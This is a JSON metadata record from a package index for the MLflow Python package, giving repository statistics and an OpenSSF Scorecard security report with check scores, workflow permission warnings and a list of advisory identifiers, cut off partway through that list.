{"id":2804275,"name":"mlflow","ecosystem":"pypi","description":"MLflow is an open source platform for the complete machine learning lifecycle","homepage":null,"licenses":"Apache Software License","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/mlflow/mlflow","keywords_array":["mlflow","ai","databricks"],"namespace":null,"versions_count":190,"first_release_published_at":"2018-06-04T22:03:38.000Z","latest_release_published_at":"2026-10-07T06:07:39.000Z","latest_release_number":"3.17.0","last_synced_at":"2026-10-10T02:26:25.202Z","created_at":"2022-04-10T11:37:21.382Z","updated_at":"2026-10-10T10:24:45.946Z","registry_url":"https://pypi.org/project/mlflow/","install_command":"pip install mlflow --index-url https://pypi.org/simple","documentation_url":"https://mlflow.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Intended Audience :: Developers","Intended Audience :: End Users/Desktop","Intended Audience :: Information Technology","Intended Audience :: Science/Research","License :: OSI Approved :: Apache Software License","Operating System :: OS Independent","Programming Language :: Python :: 3.10","Topic :: Scientific/Engineering :: Artificial Intelligence","Topic :: Software Development :: Libraries :: Python Modules"],"normalized_name":"mlflow","project_status":null},"repo_metadata":{"id":37396804,"uuid":"136202695","full_name":"mlflow/mlflow","owner":"mlflow","description":"The open source AI engineering platform for agents, LLMs, and ML models. MLflow enables teams of all sizes to debug, evaluate, monitor, and optimize production-quality AI applications while controlling costs and managing access to models and data.","archived":false,"fork":false,"pushed_at":"2026-10-04T10:50:07.000Z","size":1490694,"stargazers_count":28251,"open_issues_count":2156,"forks_count":6420,"subscribers_count":326,"default_branch":"master","last_synced_at":"2026-10-04T13:34:35.875Z","etag":null,"topics":["agentops","agents","ai","ai-governance","apache-spark","evaluation","langchain","llm-evaluation","llmops","machine-learning","ml","mlflow","mlops","model-management","observability","open-source","openai","prompt-engineering"],"latest_commit_sha":null,"homepage":"https://mlflow.org","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mlflow.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":"CODE_OF_CONDUCT.rst","threat_model":null,"audit":null,"citation":"CITATION.cff","codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2018-06-05T16:05:58.000Z","updated_at":"2026-10-04T10:50:13.000Z","dependencies_parsed_at":"2026-09-26T11:34:05.927Z","dependency_job_id":null,"html_url":"https://github.com/mlflow/mlflow","commit_stats":{"total_commits":6497,"total_committers":786,"mean_commits":8.26590330788804,"dds":0.7243343081422196,"last_synced_commit":"2283960727fd1fdbaa09b5f5d4dcf78e8f5bb764"},"previous_names":[],"tags_count":235,"template":false,"template_full_name":null,"purl":"pkg:github/mlflow/mlflow","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mlflow","download_url":"https://codeload.github.com/mlflow/mlflow/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mlflow%2Fmlflow/sbom","scorecard":{"id":93927,"data":{"date":"2025-08-04","repo":{"name":"github.com/mlflow/mlflow","commit":"cfac07608dbc8475c7c830496be266ca8bc8f782"},"scorecard":{"version":"v5.2.1-28-gc1d103a9","commit":"c1d103a9bb9f635ec7260bf9aa0699466fa4be0e"},"score":5.3,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 23 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#maintained"}},{"name":"Code-Review","score":8,"reason":"Found 21/24 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":-1,"reason":"internal error: internal error: invalid Dockerfile","details":null,"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#pinned-dependencies"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#license"}},{"name":"Branch-Protection","score":4,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: required approving review count is 1 on branch 'master'","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Warn: 'up-to-date branches' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact nightly not signed: https://api.github.com/repos/mlflow/mlflow/releases/232718916","Warn: release artifact nightly does not have provenance: https://api.github.com/repos/mlflow/mlflow/releases/232718916"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#signed-releases"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'models' permission set to 'read': .github/workflows/auto-label.yml:13","Info: jobLevel 'contents' permission set to 'read': .github/workflows/auto-label.yml:11","Info: jobLevel 'issues' permission set to 'read': .github/workflows/auto-label.yml:12","Info: jobLevel 'contents' permission set to 'read': .github/workflows/autoformat.yml:193","Warn: jobLevel 'statuses' permission set to 'write': .github/workflows/autoformat.yml:250","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/autoformat.yml:251","Warn: jobLevel 'statuses' permission set to 'write': .github/workflows/autoformat.yml:18","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/autoformat.yml:65","Info: jobLevel 'contents' permission set to 'read': .github/workflows/build-wheel.yml:36","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/cancel.yml:14","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/closing-pr.yml:18","Info: jobLevel 'contents' permission set to 'read': .github/workflows/copilot-setup-steps.yml:13","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/cross-version-test-runner.yml:17","Info: jobLevel 'issues' permission set to 'read': .github/workflows/cross-version-tests.yml:61","Info: jobLevel 'contents' permission set to 'read': .github/workflows/cross-version-tests.yml:131","Info: jobLevel 'contents' permission set to 'read': .github/workflows/cross-version-tests.yml:202","Info: jobLevel 'contents' permission set to 'read': .github/workflows/deployments.yml:29","Info: jobLevel 'contents' permission set to 'read': .github/workflows/dev-setup.yml:45","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/devcontainer.yml:30","Warn: jobLevel 'packages' permission set to 'write': .github/workflows/devcontainer.yml:105","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docs.yml:35","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docs.yml:54","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docs.yml:123","Info: jobLevel 'contents' permission set to 'read': .github/workflows/examples.yml:47","Info: jobLevel 'contents' permission set to 'read': .github/workflows/examples.yml:103","Info: jobLevel 'contents' permission set to 'read': .github/workflows/gateway.yml:33","Info: jobLevel 'contents' permission set to 'read': .github/workflows/js.yml:29","Info: jobLevel 'contents' permission set to 'read': .github/workflows/link-checker.yml:26","Info: jobLevel 'contents' permission set to 'read': .github/workflows/lint.yml:35","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/maintainer-approval.yml:11","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:106","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:189","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:245","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:278","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:309","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:426","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:63","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:137","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:210","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:346","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:367","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:406","Info: jobLevel 'contents' permission set to 'read': .github/workflows/master.yml:46","Info: jobLevel 'contents' permission set to 'read': .github/workflows/mlflow-3.yaml:34","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/preview-docs.yml:57","Info: jobLevel 'checks' permission set to 'read': .github/workflows/protect.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/protobuf-cross-test.yml:46","Info: jobLevel 'contents' permission set to 'read': .github/workflows/protos.yml:37","Info: jobLevel 'contents' permission set to 'read': .github/workflows/r.yml:30","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/release-note.yml:32","Info: jobLevel 'contents' permission set to 'read': .github/workflows/requirements.yml:39","Info: jobLevel 'contents' permission set to 'read': .github/workflows/requirements.yml:65","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/rerun-cross-version-tests.yml:19","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/rerun-workflow-run.yml:18","Info: jobLevel 'contents' permission set to 'read': .github/workflows/rerun.yml:18","Info: jobLevel 'contents' permission set to 'read': .github/workflows/slow-tests.yml:48","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/snapshots.yml:26","Info: jobLevel 'contents' permission set to 'read': .github/workflows/tracing.yaml:34","Info: jobLevel 'contents' permission set to 'read': .github/workflows/typescript.yml:26","Info: jobLevel 'contents' permission set to 'read': .github/workflows/uc-oss.yml:34","Info: jobLevel 'contents' permission set to 'read': .github/workflows/update-release-labels.yml:18","Warn: no topLevel permission defined: .github/workflows/advice.yml:1","Warn: no topLevel permission defined: .github/workflows/auto-label.yml:1","Warn: no topLevel permission defined: .github/workflows/autoformat.yml:1","Warn: no topLevel permission defined: .github/workflows/build-wheel.yml:1","Warn: no topLevel permission defined: .github/workflows/cancel.yml:1","Warn: no topLevel permission defined: .github/workflows/cherry-picks-warn.yml:1","Warn: no topLevel permission defined: .github/workflows/closing-pr.yml:1","Warn: no topLevel permission defined: .github/workflows/copilot-setup-steps.yml:1","Warn: no topLevel permission defined: .github/workflows/cross-version-test-runner.yml:1","Warn: no topLevel permission defined: .github/workflows/cross-version-tests.yml:1","Warn: no topLevel permission defined: .github/workflows/deployments.yml:1","Warn: no topLevel permission defined: .github/workflows/dev-setup.yml:1","Warn: no topLevel permission defined: .github/workflows/devcontainer.yml:1","Warn: no topLevel permission defined: .github/workflows/docs.yml:1","Warn: no topLevel permission defined: .github/workflows/examples.yml:1","Warn: no topLevel permission defined: .github/workflows/gateway.yml:1","Warn: no topLevel permission defined: .github/workflows/js.yml:1","Warn: no topLevel permission defined: .github/workflows/labeling.yml:1","Warn: no topLevel permission defined: .github/workflows/link-checker.yml:1","Warn: no topLevel permission defined: .github/workflows/lint.yml:1","Warn: no topLevel permission defined: .github/workflows/maintainer-approval.yml:1","Warn: no topLevel permission defined: .github/workflows/master.yml:1","Warn: no topLevel permission defined: .github/workflows/mlflow-3.yaml:1","Warn: no topLevel permission defined: .github/workflows/patch.yml:1","Warn: no topLevel permission defined: .github/workflows/preview-docs.yml:1","Warn: no topLevel permission defined: .github/workflows/protect.yml:1","Warn: no topLevel permission defined: .github/workflows/protobuf-cross-test.yml:1","Warn: no topLevel permission defined: .github/workflows/protos.yml:1","Warn: no topLevel permission defined: .github/workflows/push-images.yml:1","Warn: no topLevel permission defined: .github/workflows/r.yml:1","Warn: no topLevel permission defined: .github/workflows/release-note.yml:1","Warn: no topLevel permission defined: .github/workflows/requirements.yml:1","Warn: no topLevel permission defined: .github/workflows/rerun-cross-version-tests.yml:1","Warn: no topLevel permission defined: .github/workflows/rerun-workflow-run.yml:1","Warn: no topLevel permission defined: .github/workflows/rerun.yml:1","Warn: no topLevel permission defined: .github/workflows/slow-tests.yml:1","Warn: no topLevel permission defined: .github/workflows/snapshots.yml:1","Warn: no topLevel permission defined: .github/workflows/team-review.yml:1","Warn: no topLevel permission defined: .github/workflows/tracing.yaml:1","Warn: no topLevel permission defined: .github/workflows/typescript.yml:1","Warn: no topLevel permission defined: .github/workflows/uc-oss.yml:1","Warn: no topLevel permission defined: .github/workflows/update-release-labels.yml:1"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#token-permissions"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/push-images.yml:10"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#fuzzing"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c1d103a9bb9f635ec7260bf9aa0699466fa4be0e/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"398 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-27mf-ghqm-j3j8","Warn: Project is vulnerable to: GHSA-8495-4g3g-x7pr","Warn: Project is vulnerable to: GHSA-9548-qrrj-x5pj","Warn: Project is vulnerable to: PYSEC-2024-48 / GHSA-fj7x-q9j7-g6q6","Warn: Project is vulnerable to: GHSA-79v4-65xg-pq4g","Warn: Project is vulnerable to: GHSA-vqfr-h8mv-ghfj","Warn: Project is vulnerable to: GHSA-33p9-3p43-82vq","Warn: Project is vulnerable to: PYSEC-2024-231 / GHSA-2586-f3p4-hq84","Warn: Project is vulnerable to: GHSA-8qvm-5x2c-j2w7","Warn: Project is vulnerable to: GHSA-9hjg-9r4m-mvj7","Warn: Project is vulnerable to: GHSA-2c2j-9gv5-cj73","Warn: Project is vulnerable to: GHSA-7cx3-6m66-7c5m","Warn: Project is vulnerable to: GHSA-8w49-h785-mj3c","Warn: Project is vulnerable to: GHSA-pq67-6m6q-mj2v","Warn: Project is vulnerable to: GHSA-67mh-4wv8-2f99","Warn: Project is vulnerable to: PYSEC-2021-47 / GHSA-5jqp-qgf6-3pvh","Warn: Project is vulnerable to: GHSA-mr82-8j83-vxmv","Warn: Project is vulnerable to: PYSEC-2021-142 / GHSA-8q59-q68h-6hv4","Warn: Project is vulnerable to: PYSEC-2018-49 / GHSA-rprw-h62v-c2w7","Warn: Project is vulnerable to: PYSEC-2014-14 / GHSA-652x-xj99-gmcc","Warn: Project is vulnerable to: GHSA-9wx4-h78v-vm56","Warn: Project is vulnerable to: PYSEC-2014-13 / GHSA-cfj3-7x9c-4p3h","Warn: Project is vulnerable to: PYSEC-2018-28 / GHSA-x84v-xcm2-53pg","Warn: Project is vulnerable to: GHSA-4v9v-hfq4-rm2v","Warn: Project is vulnerable to: GHSA-9jgg-88mc-972h","Warn: Project is vulnerable to: PYSEC-2019-217 / GHSA-462w-v97r-4m45","Warn: Project is vulnerable to: PYSEC-2014-8 / GHSA-8r7q-cvjq-x353","Warn: Project is vulnerable to: GHSA-cpwx-vrp4-4pq7","Warn: Project is vulnerable to: PYSEC-2014-82 / GHSA-fqh9-2qgg-h84h","Warn: Project is vulnerable to: PYSEC-2021-66 / GHSA-g3rq-g295-4j3m","Warn: Project is vulnerable to: GHSA-h5c8-rqwp-cp95","Warn: Project is vulnerable to: GHSA-h75v-3vvj-5mfj","Warn: Project is vulnerable to: PYSEC-2019-220 / GHSA-hj2j-77xm-mc5v","Warn: Project is vulnerable to: GHSA-q2x7-8rv6-6q7h","Warn: Project is vulnerable to: PYSEC-2024-241 / GHSA-3v79-q7ph-j75h","Warn: Project is vulnerable to: GHSA-49m6-vrr9-2cqm","Warn: Project is vulnerable to: GHSA-4qq5-mxxx-m6gg","Warn: Project is vulnerable to: PYSEC-2025-17 / GHSA-4rj2-9gcx-5qhx","Warn: Project is vulnerable to: GHSA-4rqf-8pfm-p36r","Warn: Project is vulnerable to: PYSEC-2023-253 / GHSA-554w-xh4j-8w64","Warn: Project is vulnerable to: GHSA-59v3-898r-qwhj","Warn: Project is vulnerable to: GHSA-5mvj-wmgj-7q8c","Warn: Project is vulnerable to: GHSA-5p3h-7fwh-92rc","Warn: Project is vulnerable to: PYSEC-2024-239 / GHSA-5q6c-ffvg-xcm9","Warn: Project is vulnerable to: PYSEC-2023-252 / GHSA-5r3q-93q3-f978","Warn: Project is vulnerable to: PYSEC-2024-240 / GHSA-6749-m5cp-6cg7","Warn: Project is vulnerable to: GHSA-83fm-w79m-64r5","Warn: Project is vulnerable to: GHSA-8f8q-q2j7-7j2m","Warn: Project is vulnerable to: PYSEC-2023-281 / GHSA-cxfr-5q3r-2rc2","Warn: Project is vulnerable to: GHSA-f42m-mvfv-cgw5","Warn: Project is vulnerable to: GHSA-f798-qm4r-23r5","Warn: Project is vulnerable to: GHSA-f82r-jj5r-6g97","Warn: Project is vulnerable to: PYSEC-2023-280 / GHSA-ffw3-6378-cqgp","Warn: Project is vulnerable to: PYSEC-2023-308 / GHSA-fmxj-6h9g-6vw3","Warn: Project is vulnerable to: GHSA-hh8p-p8mp-gqhm","Warn: Project is vulnerable to: PYSEC-2024-243 / GHSA-hq88-wg7q-gp4g","Warn: Project is vulnerable to: GHSA-hvc6-42vf-jhf8","Warn: Project is vulnerable to: PYSEC-2024-242 / GHSA-j46q-5pxx-8vmw","Warn: Project is vulnerable to: GHSA-j62r-wxqq-f3gf","Warn: Project is vulnerable to: GHSA-m49c-5c52-6696","Warn: Project is vulnerable to: GHSA-p4jx-q62p-x5jr","Warn: Project is vulnerable to: GHSA-q3gw-8236-5jw4","Warn: Project is vulnerable to: GHSA-qg8p-32gr-gh6x","Warn: Project is vulnerable to: PYSEC-2024-224 / GHSA-qpgc-w4mg-6v92","Warn: Project is vulnerable to: PYSEC-2023-309 / GHSA-v945-r3rc-6fjm","Warn: Project is vulnerable to: PYSEC-2022-28 / GHSA-vqj2-4v8m-8vrq","Warn: Project is vulnerable to: PYSEC-2023-260 / GHSA-vwhf-3v6x-wff8","Warn: Project is vulnerable to: PYSEC-2023-70 / GHSA-wc6j-5g83-xfm6","Warn: Project is vulnerable to: PYSEC-2023-69 / GHSA-wjq3-7jxx-whj9","Warn: Project is vulnerable to: PYSEC-2023-28 / GHSA-wp72-7hj9-5265","Warn: Project is vulnerable to: GHSA-wqxf-447m-6f5f","Warn: Project is vulnerable to: GHSA-wv8q-4f85-2p8p","Warn: Project is vulnerable to: PYSEC-2025-52 / GHSA-wxj7-3fx5-pp9m","Warn: Project is vulnerable to: PYSEC-2023-68 / GHSA-x422-6qhv-p29g","Warn: Project is vulnerable to: GHSA-xg73-94fp-g449","Warn: Project is vulnerable to: PYSEC-2024-244","Warn: Project is vulnerable to: PYSEC-2024-110 / GHSA-jw8x-6495-233v","Warn: Project is vulnerable to: GHSA-4jrv-ppp4-jm57","Warn: Project is vulnerable to: GHSA-5mg8-w23w-74h3","Warn: Project is vulnerable to: GHSA-7g45-4rm6-3mm3","Warn: Project is vulnerable to: GHSA-735f-pc8j-v9w8","Warn: Project is vulnerable to: GHSA-78wr-2p64-hpwj","Warn: Project is vulnerable to: GHSA-gwrp-pvrq-jmwv","Warn: Project is vulnerable to: GHSA-7r82-7xv7-xcpj","Warn: Project is vulnerable to: GHSA-jr6h-r7vg-f9mc","Warn: Project is vulnerable to: GHSA-mvr2-9pj6-7w5j","Warn: Project is vulnerable to: GHSA-973x-65j7-xcf4","Warn: Project is vulnerable to: GHSA-5jpm-x58v-624v","Warn: Project is vulnerable to: GHSA-xpw8-rcwv-8f8p","Warn: Project is vulnerable to: GHSA-389x-839f-4rhx","Warn: Project is vulnerable to: GHSA-xq3w-v528-46rv","Warn: Project is vulnerable to: GHSA-4g8c-wm8x-jfhw","Warn: Project is vulnerable to: GHSA-r7pg-v2c8-mfg3","Warn: Project is vulnerable to: GHSA-rhrv-645h-fjfh","Warn: Project is vulnerable to: GHSA-4265-ccf5-phj5","Warn: Project is vulnerable to: GHSA-4g9r-vxhx-9pgx","Warn: Project is vulnerable to: GHSA-cgwf-w82q-5jrr","Warn: Project is vulnerable to: GHSA-j288-q9x7-2f5v","Warn: Project is vulnerable to: GHSA-2jc4-r94c-rp7h","Warn: Project is vulnerable to: GHSA-7286-pgfv-vxvh","Warn: Project is vulnerable to: GHSA-r978-9m6m-6gm6","Warn: Project is vulnerable to: GHSA-55g7-9cwv-5qfv","Warn: Project is vulnerable to: GHSA-v88g-cgmw-v5xw","Warn: Project is vulnerable to: GHSA-93q8-gq69-wqmw","Warn: Project is vulnerable to: GHSA-qwcr-r2fm-qrc7","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-grv7-fg5c-xmjg","Warn: Project is vulnerable to: GHSA-x9w5-v3q2-3rhw","Warn: Project is vulnerable to: GHSA-pxg6-pf52-xh8x","Warn: Project is vulnerable to: GHSA-3xgq-45jj-v275","Warn: Project is vulnerable to: GHSA-36jr-mh4h-2g58","Warn: Project is vulnerable to: GHSA-w573-4hg7-7wgq","Warn: Project is vulnerable to: GHSA-f6v4-cf5j-vf3w","Warn: Project is vulnerable to: GHSA-434g-2637-qmqr","Warn: Project is vulnerable to: GHSA-49q7-c7j4-3p7m","Warn: Project is vulnerable to: GHSA-977x-g7h5-7qgw","Warn: Project is vulnerable to: GHSA-f7q4-pwc6-w24p","Warn: Project is vulnerable to: GHSA-fc9h-whq2-v747","Warn: Project is vulnerable to: GHSA-vjh7-7g9h-fjfh","Warn: Project is vulnerable to: GHSA-4gmj-3p3h-gm8h","Warn: Project is vulnerable to: GHSA-qw6h-vgh9-j6wx","Warn: Project is vulnerable to: GHSA-jchw-25xp-jwwc","Warn: Project is vulnerable to: GHSA-cxjh-pqwp-8mfp","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-8r6j-v8pm-fqw3","Warn: Project is vulnerable to: MAL-2023-462","Warn: Project is vulnerable to: GHSA-9pv7-vfvm-6vr7","Warn: Project is vulnerable to: GHSA-c7qv-q95q-8v27","Warn: Project is vulnerable to: GHSA-4www-5p9h-95mh","Warn: Project is vulnerable to: GHSA-9gqv-wp59-fq42","Warn: Project is vulnerable to: GHSA-78xj-cgh5-2h22","Warn: Project is vulnerable to: GHSA-2p57-rm9w-gvfp","Warn: Project is vulnerable to: GHSA-hhhv-q57g-882q","Warn: Project is vulnerable to: GHSA-wgfq-7857-4jcc","Warn: Project is vulnerable to: GHSA-76p3-8jx3-jpfq","Warn: Project is vulnerable to: GHSA-3rfm-jhwj-7488","Warn: Project is vulnerable to: GHSA-hhq3-ff78-jv3g","Warn: Project is vulnerable to: GHSA-952p-6rrq-rcjv","Warn: Project is vulnerable to: GHSA-rp65-9cf3-cjxr","Warn: Project is vulnerable to: GHSA-76c9-3jph-rj3q","Warn: Project is vulnerable to: GHSA-9wv6-86v2-598j","Warn: Project is vulnerable to: GHSA-rhx6-c78j-4q9w","Warn: Project is vulnerable to: GHSA-h7cp-r72f-jxh6","Warn: Project is vulnerable to: GHSA-v62p-rq8g-8h59","Warn: Project is vulnerable to: GHSA-wjc4-73q6-gv3m","Warn: Project is vulnerable to: GHSA-7fh5-64p2-3v2j","Warn: Project is vulnerable to: GHSA-3949-f494-cm99","Warn: Project is vulnerable to: GHSA-x7hr-w5r2-h6wg","Warn: Project is vulnerable to: GHSA-rjqq-98f6-6j3r","Warn: Project is vulnerable to: GHSA-mjxr-4v3x-q3m4","Warn: Project is vulnerable to: GHSA-cgfm-xwp7-2cvr","Warn: Project is vulnerable to: GHSA-rm97-x556-q36h","Warn: Project is vulnerable to: GHSA-c2qf-rxjj-qqgw","Warn: Project is vulnerable to: GHSA-m6fv-jmcg-4jfg","Warn: Project is vulnerable to: GHSA-cm22-4g7w-348p","Warn: Project is vulnerable to: GHSA-pqhp-25j4-6hq9","Warn: Project is vulnerable to: GHSA-vx3p-948g-6vhq","Warn: Project is vulnerable to: GHSA-w5hq-hm5m-4548","Warn: Project is vulnerable to: GHSA-3jfq-g458-7qm9","Warn: Project is vulnerable to: GHSA-r628-mhmh-qjhw","Warn: Project is vulnerable to: GHSA-9r2w-394v-53qc","Warn: Project is vulnerable to: GHSA-5955-9wpr-37jh","Warn: Project is vulnerable to: GHSA-qq89-hq3f-393p","Warn: Project is vulnerable to: GHSA-f5x3-32g6-xq36","Warn: Project is vulnerable to: GHSA-4wf5-vphf-c2xc","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6","Warn: Project is vulnerable to: GHSA-w5p7-h5w8-2hfq","Warn: Project is vulnerable to: GHSA-7p7h-4mm5-852v","Warn: Project is vulnerable to: GHSA-fhg7-m89q-25r3","Warn: Project is vulnerable to: GHSA-wr3j-pwj9-hqq6","Warn: Project is vulnerable to: GHSA-3h5v-q93c-6h6q","Warn: Project is vulnerable to: GHSA-m5vv-6r4h-3vj9","Warn: Project is vulnerable to: GHSA-64x4-9hc6-r2h6","Warn: Project is vulnerable to: GHSA-58m3-rcvp-f9ww","Warn: Project is vulnerable to: GHSA-gqrq-j6pm-98c2","Warn: Project is vulnerable to: GHSA-h7xg-cmpp-48hf","Warn: Project is vulnerable to: GHSA-p2vc-m5fv-9w9m","Warn: Project is vulnerable to: GHSA-x234-r5fg-x52m","Warn: Project is vulnerable to: GHSA-29gw-9793-fvw7","Warn: Project is vulnerable to: PYSEC-2015-24 / GHSA-4vwq-x64q-j4cj","Warn: Project is vulnerable to: PYSEC-2017-46 / GHSA-66gw-5xpf-gfp5","Warn: Project is vulnerable to: PYSEC-2015-25 / GHSA-92mr-v722-f48m","Warn: Project is vulnerable to: PYSEC-2022-12 / GHSA-pq7m-3gw7-gq5x","Warn: Project is vulnerable to: PYSEC-2017-47","Warn: Project is vulnerable to: GHSA-gmj6-6f8f-6699","Warn: Project is vulnerable to: GHSA-cjgq-5qmw-rcj6","Warn: Project is vulnerable to: GHSA-x4wf-678h-2pmq","Warn: Project is vulnerable to: PYSEC-2023-98 / GHSA-2qmj-7962-cjq8","Warn: Project is vulnerable to: PYSEC-2024-118 / GHSA-3hjh-jh2h-vrg6","Warn: Project is vulnerable to: PYSEC-2024-115 / GHSA-45pg-36p6-83v9","Warn: Project is vulnerable to: PYSEC-2023-109 / GHSA-57fc-8q82-gfp3","Warn: Project is vulnerable to: 